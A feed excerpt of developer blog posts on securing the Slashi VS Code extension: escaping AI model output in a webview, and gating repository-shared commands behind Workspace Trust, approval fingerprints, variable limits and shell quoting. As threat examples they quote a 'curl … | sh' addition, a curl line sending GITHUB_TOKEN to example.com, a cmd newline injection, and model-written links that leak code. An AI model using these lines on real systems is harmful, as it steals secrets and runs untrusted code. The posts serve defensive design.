&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you click Insert, the webview posts &lt;code&gt;{ type: 'insert', text }&lt;/code&gt; to the extension, using the stored raw text. Nothing is read back out of the rendered HTML, so what's inserted is exactly what the model sent, and what you saw is the same text escaped.&lt;/p&gt;

&lt;h2&gt;
  
  
  The other half: what the extension does with a message
&lt;/h2&gt;

&lt;p&gt;A webview can only post messages; the extension decides what they mean. Slashi's answer panel accepts a short list (copy, insert, apply, new file, follow-up, stop, close) and nothing that runs a command or a shell. Writing to the editor happens only after you press a button. For the feature that does turn model output into actions (&lt;code&gt;/do make the font bigger&lt;/code&gt;), the model can only pick from a list of real command IDs and settings; steps naming anything else are dropped, and you confirm the plan before it runs.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this doesn't cover
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Links still work.&lt;/strong&gt; A model can write a link whose URL contains your code, and clicking it sends that data. VS Code's link protection asks before opening a domain you haven't trusted, and that prompt is the only guard.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Copy and Apply do what they say.&lt;/strong&gt; If the model suggests malicious code and you apply it, it's in your file. Rendering safely doesn't make the content safe.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Escaping is only as good as the renderer.&lt;/strong&gt; If marked adds a new token type that emits HTML, it isn't overridden until I notice. Pinning the dependency and keeping the CSP strict is the backstop.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;Treat model output like form input from a stranger: escape raw HTML, whitelist link schemes, don't render remote images, and put a CSP behind it that allows no network access. Each of those is a few lines, and together they close the attacks that don't need you to click anything.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm the author of Slashi. It's free and MIT-licensed: &lt;a href="https://marketplace.visualstudio.com/items?itemName=meness.slashi" rel="noopener noreferrer"&gt;Marketplace&lt;/a&gt; · &lt;a href="https://open-vsx.org/extension/meness/slashi" rel="noopener noreferrer"&gt;Open VSX&lt;/a&gt; · &lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>vscode</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Letting a repository share commands without handing it a shell</title>
      <dc:creator>Alex</dc:creator>
      <pubDate>Thu, 22 Oct 2026 07:51:34 +0000</pubDate>
      <link>https://dev.to/meness/letting-a-repository-share-commands-without-handing-it-a-shell-5bco</link>
      <guid>https://dev.to/meness/letting-a-repository-share-commands-without-handing-it-a-shell-5bco</guid>
      <description>&lt;p&gt;&lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;Slashi&lt;/a&gt;, the VS Code extension I maintain, lets you chain steps into your own commands: save all files, run the tests, commit, push. The useful part is that a team can commit those commands to the repo in &lt;code&gt;.vscode/slashi.json&lt;/code&gt;, and everyone who opens the project gets them.&lt;/p&gt;

&lt;p&gt;The dangerous part is the same sentence. A repository you cloned five minutes ago is a stranger's code. If its commands can run shell steps the moment you press a key, cloning a repo becomes the attack.&lt;/p&gt;

&lt;p&gt;Here's the trust model, in the order I learned I needed each piece. Code is from Slashi 0.6.0 (October 2026).&lt;/p&gt;

&lt;h2&gt;
  
  
  What a shared command looks like
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json-doc"&gt;&lt;code&gt;&lt;span class="c1"&gt;// .vscode/slashi.json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"commands"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ship"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"commit message"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"steps"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"workbench.action.files.saveAll"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"slash"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/test"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"terminal"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"git add -A &amp;amp;&amp;amp; git commit -m ${q:args} &amp;amp;&amp;amp; git push"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Typing &lt;code&gt;/ship fix login redirect&lt;/code&gt; runs all three steps. Commands like this can come from three places: your own user settings, the workspace (a team file or &lt;code&gt;.vscode/settings.json&lt;/code&gt;), or an action pack you installed from a registry. Only the first is unconditionally yours.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule 1: untrusted workspaces get nothing
&lt;/h2&gt;

&lt;p&gt;VS Code already has &lt;a href="https://code.visualstudio.com/docs/editor/workspace-trust" rel="noopener noreferrer"&gt;Workspace Trust&lt;/a&gt;: when you open a folder, you can open it in Restricted Mode. Extensions declare how they behave there in &lt;code&gt;package.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"capabilities"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"untrustedWorkspaces"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"supported"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"limited"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"In untrusted workspaces Slashi ignores workspace-defined custom commands (settings and .vscode/slashi.json)."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"restrictedConfigurations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"slashi.customCommands"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;restrictedConfigurations&lt;/code&gt; makes VS Code ignore the workspace value of that setting in Restricted Mode. The team file isn't a setting, so it needs its own check: Slashi only reads &lt;code&gt;.vscode/slashi.json&lt;/code&gt; when &lt;code&gt;vscode.workspace.isTrusted&lt;/code&gt; is true.&lt;/p&gt;

&lt;p&gt;This is the cheap rule, and it's not enough. Most people click "Trust" on every folder, because Restricted Mode turns off a lot of things they want.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule 2: shared commands ask before steps that can do damage
&lt;/h2&gt;

&lt;p&gt;So a trusted workspace still doesn't get to run anything silently. Steps are split into two groups. Inserting text, showing a notification, asking for input or waiting can't hurt you. Five types can, and need approval:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;APPROVAL_STEPS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;terminal&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;slash&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;command&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;setting&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;open&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;slash&lt;/code&gt; and &lt;code&gt;command&lt;/code&gt; are on the list because they run other commands, which can run anything. &lt;code&gt;setting&lt;/code&gt; is there because settings control what runs: a terminal profile, a tool path, a task's shell. &lt;code&gt;open&lt;/code&gt; can open a URL.&lt;/p&gt;

&lt;p&gt;The first time a team or pack command with any of these steps runs, Slashi shows a modal listing them in plain words ("Terminal: git add -A &amp;amp;&amp;amp; git commit…", "Set editor.fontSize = 18"), with &lt;strong&gt;Run&lt;/strong&gt; and &lt;strong&gt;Always Allow&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule 3: "Always Allow" expires when the command changes
&lt;/h2&gt;

&lt;p&gt;Storing "always allow /ship" by name would leave a hole: you approve a harmless &lt;code&gt;/ship&lt;/code&gt; today, someone edits the team file tomorrow to add &lt;code&gt;curl … | sh&lt;/code&gt;, and your approval still stands.&lt;/p&gt;

&lt;p&gt;So the approval is a fingerprint of the steps themselves:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`slashi.approved.&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;def&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fingerprint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;def&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;steps&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;fingerprint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// …otherwise show the modal; "Always Allow" stores the new fingerprint&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any change to any step, even whitespace inside a string, asks again. Team approvals are stored per workspace; pack approvals globally.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule 4, the one I almost missed: variables can leak what the prompt doesn't show
&lt;/h2&gt;

&lt;p&gt;Commands can use variables: &lt;code&gt;${selection}&lt;/code&gt;, &lt;code&gt;${file}&lt;/code&gt;, &lt;code&gt;${args}&lt;/code&gt;, and also &lt;code&gt;${env:NAME}&lt;/code&gt;, &lt;code&gt;${config:some.setting}&lt;/code&gt; and &lt;code&gt;${clipboard}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The approval modal shows the step as written: &lt;code&gt;Terminal: curl https://example.com/?t=${env:GITHUB_TOKEN}&lt;/code&gt;. A careful reader would catch that one. But the same thing hides well inside a longer command, and &lt;code&gt;${clipboard}&lt;/code&gt; can hold a password you just copied.&lt;/p&gt;

&lt;p&gt;So in commands from a team file or a pack, those three only expand in steps that stay inside the editor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;sharedVariableAllowed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;step&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;StepDef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;env:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;config:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;clipboard&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;stepType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;step&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;insert&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;notify&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inserting &lt;code&gt;${env:USER}&lt;/code&gt; into a TODO comment still works. Sending it to a terminal, a URL or a setting expands to an empty string. Your own commands in user settings have no such limit.&lt;/p&gt;

&lt;p&gt;A related detail: when a terminal step fails, the error message shows the step &lt;em&gt;unexpanded&lt;/em&gt;. Expanded values would end up in VS Code's notification history and logs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule 5: quote what you put in a shell
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;${args}&lt;/code&gt; is whatever the user typed, and &lt;code&gt;${selection}&lt;/code&gt; is whatever is selected in the editor, so both are untrusted strings on their way into a shell. The &lt;code&gt;${q:name}&lt;/code&gt; form quotes them for the current shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;shellQuote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;shell&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;posix&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;powershell&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;cmd&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;posix&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;shell&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;powershell&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;`'&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/'/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;''&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;'`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// A newline would end the cmd command even inside quotes.&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;shell&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;cmd&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;`"&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/"/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;""&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;[\r\n]&lt;/span&gt;&lt;span class="sr"&gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;"`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^&lt;/span&gt;&lt;span class="se"&gt;[&lt;/span&gt;&lt;span class="sr"&gt;A-Za-z0-9_@%+=:,.&lt;/span&gt;&lt;span class="se"&gt;/&lt;/span&gt;&lt;span class="sr"&gt;-&lt;/span&gt;&lt;span class="se"&gt;]&lt;/span&gt;&lt;span class="sr"&gt;+$/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;`'&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/'/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;`'&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;''`&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;'`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;cmd&lt;/code&gt; line came out of an audit, and it's the one I wouldn't have guessed: in &lt;code&gt;cmd.exe&lt;/code&gt;, a newline ends the command even inside double quotes, so a multi-line selection could start a second command.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule 6: settings a repo must never control
&lt;/h2&gt;

&lt;p&gt;Some settings decide where your data goes: the AI provider, its base URL, custom instructions, the "confirm before running" switch, the pack registries. These are declared with &lt;code&gt;"scope": "machine"&lt;/code&gt;, which means only your user settings can set them. A repository's &lt;code&gt;.vscode/settings.json&lt;/code&gt; can't point your API key at its own server.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this still doesn't protect against
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Your own approval.&lt;/strong&gt; If you click Always Allow on a step you didn't read, it runs. The modal can only make the steps readable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Extensions you install.&lt;/strong&gt; Commands registered by another extension run with that extension's permissions, which you granted by installing it. Slashi treats them like your own.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;${selection}&lt;/code&gt; and &lt;code&gt;${file}&lt;/code&gt;.&lt;/strong&gt; These still expand in shared terminal steps, because commands like "run this file" need them. Quoting stops injection, but a shared command can still send the selected text somewhere you approved.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Packs over the network.&lt;/strong&gt; Packs are fetched over HTTPS and checked against their registry listing, but a registry you add yourself is trusted as much as you trust it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;If your tool runs anything defined in a repository, the four moves that mattered most for me were: honor Workspace Trust, ask before steps that can reach a shell, tie approval to the exact steps rather than the name, and don't let secrets ride along in variables the prompt doesn't show.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm the author of Slashi. It's free and MIT-licensed: &lt;a href="https://marketplace.visualstudio.com/items?itemName=meness.slashi" rel="noopener noreferrer"&gt;Marketplace&lt;/a&gt; · &lt;a href="https://open-vsx.org/extension/meness/slashi" rel="noopener noreferrer"&gt;Open VSX&lt;/a&gt; · &lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;. The full security model is in &lt;a href="https://github.com/meness/slashi/blob/main/SECURITY.md" rel="noopener noreferrer"&gt;SECURITY.md&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>vscode</category>
      <category>typescript</category>
      <category>opensource</category>
    </item>
    <item>
      <title>VS Code without the mouse: scripts, settings, branches and files from the keyboard</title>
      <dc:creator>Alex</dc:creator>
      <pubDate>Thu, 22 Oct 2026 07:45:25 +0000</pubDate>
      <link>https://dev.to/meness/vs-code-without-the-mouse-scripts-settings-branches-and-files-from-the-keyboard-542g</link>
      <guid>https://dev.to/meness/vs-code-without-the-mouse-scripts-settings-branches-and-files-from-the-keyboard-542g</guid>
      <description>&lt;p&gt;Most VS Code users know two shortcuts: Cmd/Ctrl + P for files and Cmd/Ctrl + Shift + P for commands. Everything else (running &lt;code&gt;npm test&lt;/code&gt;, switching a branch, flipping a setting) tends to end with a hand on the mouse.&lt;/p&gt;

